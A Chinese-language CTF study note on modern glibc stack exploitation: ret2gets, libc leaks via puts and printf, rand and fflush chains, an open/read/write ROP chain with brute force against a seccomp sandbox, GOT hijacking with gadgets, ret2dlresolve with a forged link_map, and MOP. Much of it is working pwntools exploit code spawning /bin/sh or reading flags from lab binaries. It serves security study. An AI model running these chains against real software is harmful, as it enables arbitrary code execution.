ret2gets

适用于高版本,很强大无gadget的利用利用方式

#include <stdio.h>
int main(){
char buf[0x20];
puts("Show how to ret2gets!");
gets(buf);
return;
}
//gcc -g ret2gets.c -o ret2gets -no-pie -fno-stack-protector

事实上,再执行完gets后,rdi会指向libc中的一个可写地址,叫_IO_stdfile_0_lock

 RDI  0x7ffc7f51f070 ◂— 0

► 0x40117d <main+39> call gets@plt <gets@plt>
rdi: 0x7ffc7f51f070 ◂— 0
rsi: 0x890a2a0 ◂— 'Show how to ret2gets!\n'
rdx: 0
rcx: 0x78826931c5a4 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */

--------------------------------------------------------------------------------------
*RDI 0x788269405720 (_IO_stdfile_0_lock) ◂— 0

pwndbg> vmmap 0x788269405720
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x788269403000 0x788269405000 rw-p 2000 202000 ...
► 0x788269405000 0x788269412000 rw-p d000 0 [anon_788269405] +0x720
0x788269591000 0x788269596000 rw-p 5000 0 [anon_788269591]

类似的puts后rdi也会指向_IO_stdfile_1_lock

pwndbg> tele 0x788269405700
00:0000│ 0x788269405700 (_IO_stdfile_2_lock) ◂— 0
01:0008│ 0x788269405708 (_IO_stdfile_2_lock+8) ◂— 0
00:0010│ 0x788269405710 (_IO_stdfile_1_lock) ◂— 0
01:0018│ 0x788269405718 (_IO_stdfile_1_lock+8) ◂— 0
00:0020│ rdi 0x788269405720 (_IO_stdfile_0_lock) ◂— 0
01:0028│ 0x788269405728 (_IO_stdfile_0_lock+8) ◂— 0

对于gets函数

char *_IO_gets (char *buf)
{
size_t count;
int ch;
char *retval;

_IO_acquire_lock (stdin);
ch = _IO_getc_unlocked (stdin);
if (ch == EOF)
{
retval = NULL;
goto unlock_return;
}
if (ch == '\n')
count = 0;
else
{
int old_error = stdin->_flags & _IO_ERR_SEEN;
stdin->_flags &= ~_IO_ERR_SEEN;
buf[0] = (char) ch;
count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
if (stdin->_flags & _IO_ERR_SEEN)
{
retval = NULL;
goto unlock_return;
}
else
stdin->_flags |= old_error;
}
buf[count] = 0;
retval = buf;
unlock_return:
_IO_release_lock (stdin);
return retval;
}

这个结构是一个锁对象,通过控制他的值来应对条件竞争漏洞

gets函数的开头,获取了锁,告知其他线程stdin正在使用 gets函数的结尾,释放了锁,告知其他线程stdin已可用结束

而这个结构体

typedef struct {
int lock;
int cnt;
void *owner;
} _IO_lock_t;

IO_FILE结构体的0x88 _lock结构体指向它

11:0088│     0x788269403968 (_IO_2_1_stdin_+136) —▸ 0x788269405720 (_IO_stdfile_0_lock) ◂— 0

再来看这个函数

# ifdef __EXCEPTIONS
# define _IO_acquire_lock(_fp) \
do { \
FILE *_IO_acquire_lock_file \
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp); \
_IO_flockfile (_IO_acquire_lock_file);
# else
# define _IO_acquire_lock(_fp) _IO_acquire_lock_needs_exceptions_enabled
# endif
# define _IO_release_lock(_fp) ; } while (0)

#endif

调用了_IO_acquire_lock_fct

static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0)
_IO_funlockfile (fp);
}

所以主要的是两个函数

# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
# define _IO_funlockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)

其中的两个函数

#define _IO_lock_lock(_name) \
do { \
void *__self = THREAD_SELF; \
if (SINGLE_THREAD_P && (_name).owner == NULL) \
{ \
(_name).lock = LLL_LOCK_INITIALIZER_LOCKED; \
(_name).owner = __self; \
} \
else if ((_name).owner != __self) \
{ \
lll_lock ((_name).lock, LLL_PRIVATE); \
(_name).owner = __self; \
} \
else \
++(_name).cnt; \
} while (0)

#define _IO_lock_unlock(_name) \
do { \
if (SINGLE_THREAD_P && (_name).cnt == 0) \
{ \
(_name).owner = NULL; \
(_name).lock = 0; \
} \
else if ((_name).cnt == 0) \
{ \
(_name).owner = NULL; \
lll_unlock ((_name).lock, LLL_PRIVATE); \
} \
else \
--(_name).cnt; \
} while (0)

这里面cnt存在整数溢出漏洞

对于有后门函数的函数

形如ret2system

payload1=b"a"*0x20+p64(rbp)+p64(gets_plt)
p.sendline(payload1)

payload2=b"/bin"+p8(u8(b"/")+1)+b"ah"
p.sendline(payload2)

又或者是leak libc

如果有printf

可以在结构中写入

p.sendline(b"%69$"+p8(u8(b"p")+1))

如果有puts

  • 在2.37以前
offset=fs_base-libc_base
payload1=b"a"*0x20+p64(rbp)+p64(gets_plt)+p64(puts_plt)
p.sendline(payload1)

payload2=b"a"*4+b"\x00"*3
p.sendline(payload2)
p.recv(8)
libc_base=u64(p.recv(6)+b"\x00\x00")-offset
  • 通用
offset=fs_base-libc_base
payload1=b"a"*0x20+p64(rbp)+p64(gets_plt)+p64(gets_plt)+p64(puts_plt)
p.sendline(payload1)

payload2=p32(0)+b"a"*4+b"b"*8
p.sendline(payload2)

payload3=b"c"*4
p.sendline(payload3)
p.recv(8)
libc_base=u64(p.recv(6)+b"\x00\x00")-offset

当gets后不是直接返回而是使用了其他的函数改变了rdi,比如puts函数

#include <stdio.h>

int main() {
char buf[0x20];
puts("ROP me if you can!");
gets(buf);
puts("No lock for you ;)");
}

有以下几种情况:

rdi writable

再次调用gets

rdi readable

调用puts,使其可写在调用gets

rdi=NULL

ret2printf

调用printf(NULL)会在rdi留下_IO_2_1_stdout_的地址

ret2fflush

调用fflush(NULL)会在rdi留下一个栈指针指向funlockfile(中间调用了__libc_cleanup_pop_restore(&_buffer)

这在2.37发生了改变

rdi=junk

ret2rand

调用rand后会在rdi存下一个libc地址

因此可以联合利用,但是联合于ret2gets只能在2.27以前才行?

addr = libc.sym.__fork_handlers
data = p64(addr+8) + forge_packed(addr+8, libc.sym.rand, libc.sym.gets, libc.sym.rand, libc.sym.system)
assert b"\n" not in data

extra_data = flat({
0x00: b"/bin/sh\x00",
0x10: libc.sym.randtbl+4, # the previous `state` field
0x18: p32(0), # TYPE_0
})
assert b"\n" not in extra_data

p.sendlineafter(b"Enter address, size and data: ", f"{addr} {len(data)+2} ".encode() + data)
p.sendline(extra_data)

p.interactive()

抑或是使用setcontext

addr = libc.sym.__fork_handlers
data = p64(addr+8) + forge_packed(addr+8, libc.sym.rand, libc.sym.gets, libc.sym.rand, libc.sym.setcontext)
assert b"\n" not in data

ucontext = setcontext({
"rdi": next(libc.search(b"/bin/sh\x00")),
"rsi": 0,
"rdx": 0,
"rip": libc.sym.execve,
"rsp": libc.sym.unsafe_state+0x200
}, libc.sym.unsafe_state)

extra_data = flat({
0x10: libc.sym.randtbl+4,
0x18: p32(0), # TYPE_0
})
extra_data += ucontext[len(extra_data):]
assert b"\n" not in extra_data

p.sendlineafter(b"Enter address, size and data: ", f"{addr} {len(data)+2} ".encode() + data)
p.sendline(extra_data)

p.interactive()
ret2getchar/ret2putchar

待补充

我写了一个程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <seccomp.h>
#include <errno.h>

int set_seccomp_rules() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
perror("seccomp_init failed");
return -1;
}
const int forbidden_syscalls[] = {
SCMP_SYS(execve),
SCMP_SYS(execveat)
};
for (int i = 0; i < sizeof(forbidden_syscalls) / sizeof(int); i++) {
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, forbidden_syscalls[i], 0) == -1) {
perror("seccomp_rule_add failed");
seccomp_release(ctx);
return -1;
}
}

if (seccomp_load(ctx) == -1) {
perror("seccomp_load failed");
seccomp_release(ctx);
return -1;
}
seccomp_release(ctx);
return 0;
}
void sandbox_init() {
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl PR_SET_NO_NEW_PRIVS failed");
exit(1);
}
if (set_seccomp_rules() == -1) {
exit(1);
}
}
int main(){
sandbox_init();
char buf[0x20];
puts("Welcome to ROP-master!");
gets(buf);
return 0;
}
#gcc -g -o ret2gets ./ret2gets.c -no-pie -fno-stack-protector -lseccomp
#glibc 2.41-6ubuntu1

由于tls结构体和libc的偏移存在不确定,所以只能爆破处理,有三位数字可能不同

data_recv=b"0"
def boom():
gets_plt=0x401120
puts_plt=0x4010e0
offset=0x330740
bss=0x404800
p.recvuntil(b"Welcome to ROP-master!")
payload1=b"a"*0x20+p64(bss)+p64(gets_plt)+p64(gets_plt)+p64(puts_plt)+p64(0x4013AF)
p.sendline(payload1)

payload2=p32(0)+b"a"*4+b"b"*8
p.sendline(payload2)

payload3=b"c"*4
p.sendline(payload3)
p.recv(1)
a=p.recv(8)
libc_base=u64(p.recv(6)+b"\x00\x00")-offset
#log.success(hex(libc_base))
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
pop_rdi_addr=libc_base+ 0x11a79c
pop_rsi_addr=0x11b97d+libc_base
pop_rdx_addr=libc_base+0xb5762

payload4=b"/flag\x00\x00\x00"+b"a"*0x18+p64(bss)+p64(pop_rdi_addr)+p64(bss-0x20)+p64(pop_rsi_addr)+p64(0)+p64(open_addr)
payload4+=p64(pop_rdi_addr)+p64(3)+p64(pop_rsi_addr)+p64(bss-0x400)+p64(pop_rdx_addr)+p64(0x100)+p64(read_addr)
payload4+=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(bss-0x400)+p64(write_addr)
p.sendline(payload4)
data_recv=p.recvline()
log.success(data_recv)


for i in range(1024):
try:
p=start()
boom()
#log.success(i)
dataa=p.recvline()
log.success(data_recv)
data_stripped = data_recv.strip()
if(data_stripped==b"your_flag_content"):
break
sleep(0.1)
p.close()
except:
#log.success(b"trying")
#log.success(i)
p.close()
continue
p.interactive()

no leak got hijack

使用一些gadget达到攻击的效果

0x00000000004010bf : add bl, al ; ... ; ret
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret

设置rbp使rbp-0x3d指向got,使用add改变got表中的值

只需要控制ebx

通过add先行改变setbuf的got指向setbuf(+0x80)

而setbuf中存在pop rbx

ret2dlresolve

got表是Global Offset Table的简称

plt表是Procedure Linkage Table的简称

它们都是重定向relocations的实现方式,是为了给外部变量和函数提供调用的方法

而函数和变量作为符号被存在可执行文件中,不同类型符号聚合在一起,称为符号表,有两种类型

一种是常规的.symtab.strtab,一种是动态的.dynsym.dynstr

在没有开Full RELOC时第一次调用函数时

第二次调用函数时

过程分析

在调用_dl_runtime_resolve前先push了一个序号,在push了个地址,这个地址就是link_map

关键的函数是

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

一步一步分析这个函数做了什么

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)

看看传入的参数,与我们push的两个参数一样

  • l 是调用者所在的 link_map,记录该动态库或可执行文件的加载信息
  • reloc_arg 是重定位槽编号(PLT entry 编号),用于查找具体哪个函数需要绑定

link_map的结构:

struct link_map
{
ElfW(Addr) l_addr; // 当前对象在内存中实际加载地址与它的ELF文件中指定地址的差值(即重定位偏移)
char *l_name; // 当前共享对象的文件名(绝对路径)
ElfW(Dyn) *l_ld; // 指向该对象的动态段(.dynamic section),里面包含了所有动态链接的信息
struct link_map *l_next, *l_prev; // 链表指针,指向加载链中的前一个和下一个 link_map
};

而又有

#define ElfW(type)        _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t

再看变量 __ELF_NATIVE_CLASS 的含义:

  • 在 32 位系统上为 32
  • 在 64 位系统上为 64

其中type有以下类型

类型 展开结果
ElfW(Addr) Elf32(64)_Addr
ElfW(Sym) Elf64_Sym
ElfW(Dyn) Elf64_Dyn
ElfW(Half) Elf64_Half

也就是说ElfW(Addr)=Elf64_Addr,ElfW(Dyn)=Elf64_Dyn这样

typedef uint64_t Elf64_Addr;

typedef struct{
Elf64_Sxword d_tag; /* Dynamic entry type */
union{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

1. 获取符号表与字符串表

const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

2. 获取当前重定位项

const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  • DT_JMPREL:保存 .rel.plt 表的位置
  • reloc_offset 是根据 reloc_arg 算出来的
  • reloc:指向当前 PLT 的重定位项

3. 获取符号项和地址

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  • reloc->r_info 里面编码了符号索引
  • sym 是要绑定的符号(比如 printf
  • rel_addr 是 GOT 中的地址,即我们需要写入“真正函数地址”的地方

4. 断言:必须是 PLT 重定位

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  • 只处理 JMP_SLOT 类型(即跳转槽),其他如 RELATIVE 等不由 _dl_fixup 处理

5. 判断符号是否可见并查找真实地址

if (ELFW(ST_VISIBILITY) (sym->st_other) == 0)
  • 如果符号是默认可见(即不是 hidden),则进行全局符号查找:
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
  • 查找流程包括版本信息、作用域锁等
  • result 是找到该符号所在的 link_map
  • sym->st_value 是符号在该库内的偏移,加上 result 的基地址就是最终地址

6. 查询出具体函数的地址

#define DL_FIXUP_MAKE_VALUE(map, addr) (addr)
#define LOOKUP_VALUE_ADDRESS(map) ((map) ? (map)->l_addr : 0)

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);

如果 sym 存在,就计算:

value = l_addr + sym->st_value;

这里的l_addr是libc在库中的偏移,也就是说这个是libc_base,那么value也就是:符号的真实内存地址

否则:

value = DL_FIXUP_MAKE_VALUE(result, 0);

即符号未找到,回传 0

7. 修正值:考虑架构的特殊处理

#define elf_machine_plt_value(map, reloc, value) (value)
value = elf_machine_plt_value (l, reloc, value);
  • 某些架构需要对地址进行调整(如加偏移、修正格式);

8. IFUNC 处理(间接函数)

if (sym && STT_GNU_IFUNC) {
value = elf_ifunc_invoke(...);
}
  • 如果符号类型是 GNU_IFUNC(间接函数),则先调用解析函数获得真实地址。

9. 写回 GOT 表(用于后续直接跳转)

if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);

elf_machine_fixup_plt (struct link_map *map, lookup_t t,
const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
const ElfW(Rela) *reloc,
ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{
return *reloc_addr = value;
}
  • dl_bind_not 表示是否跳过写回(某些情况会保留懒绑定);
  • 否则会调用 elf_machine_fixup_plt()value 写入 GOT 中的 rel_addr,完成绑定;
  • 返回 value 给调用方继续执行

解题手法

适用于没有 libc 泄露或 info leak的情况,但有栈溢出、有任意可控内存写、可控寄存器,且已知 plt, got, rel.plt 等节区偏移

我们的link_map是这样的

struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
...
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
}

No RELRO-64

DYNAMIC节中就存着DT_STRTABDT_SYMTAB,分别指向字符名表和符号表。而这个DYNAMIC节在No RELRO情况下是可写的。那么利用思路就很明确了,可以直接rop链调用read读取内容覆盖DT_STRTAB为一个我们可控的地址,然后我们自己在该地址处伪造一个字符表,把目标函数的字符串换成system,最后直接返回到该函数plt表第二个jmp前的push处压id调用**_dl_runtime_resolve**即可

PARTIAL RELRO

PARTIAL RELRO下dynamic节不可直接改写

exp

def build_fake_link_map(fake_linkmap_addr,func,base_func='puts'):
# &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
offset = n64(libc.sym[func] - libc.sym[base_func])
# linkmap = p64(offset & (2 ** 64 - 1))#l_addr
linkmap = p64(offset)
# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
# linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(n64(elf.bss()-offset))
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行
linkmap += p64(0)#l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(elf.got[base_func] - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(elf.bss()+0x100) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

read_plt = elf.plt['read']
fake_linkmap_addr = elf.bss() + 0x100
fake_link_map = build_fake_link_map(fake_linkmap_addr, 'system' ,'write')# 伪造link_map
padding=120
payload = cyclic(padding)
payload += flat({
0x00:next(elf.search(asm('ret'), executable=True)),
0x08:next(elf.search(asm('pop rdi; ret'), executable=True)),
0x10:0,
0x18:next(elf.search(asm('pop rsi; pop r15; ret'), executable=True)),
0x20:fake_linkmap_addr,
0x28:0,
0x30:elf.plt['read'],
0x38:next(elf.search(asm('pop rdi; ret'), executable=True)),
0x40:fake_linkmap_addr + 0x48,
0x48:elf.get_section_by_name('.plt').header.sh_addr + 6,
0x50:fake_linkmap_addr,# struct link_map *l
0x58:0 # ElfW(Word) reloc_arg
})
ru(b'Welcome to XDCTF2015~!\n')
sl(payload)
pause()
s(fake_link_map)

MOP

MOP也称为mmap oriented programming

比如这个例子

#include <unistd.h>
#include <sys/mman.h>

int main()
{
long a[6] = {mmap};
write(1, a, 8);
read(0, a, sizeof(a));
mmap(a[0], a[1], a[2], a[3], a[4], a[5]);
}

参考

https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets#leaking-libc

ret2gets 一种控制rdi的攻击方法-CSDN博客

深入了解GOT,PLT和动态链接 - 有价值炮灰 - 博客园

https://xz.aliyun.com/news/17612

https://r3t2.top/2025/09/10/%E5%85%B3%E4%BA%8Eret2dlresolve/

深入理解ret2dlresolve | Collectcrop’s Blog

All Posts - enzocut’s blog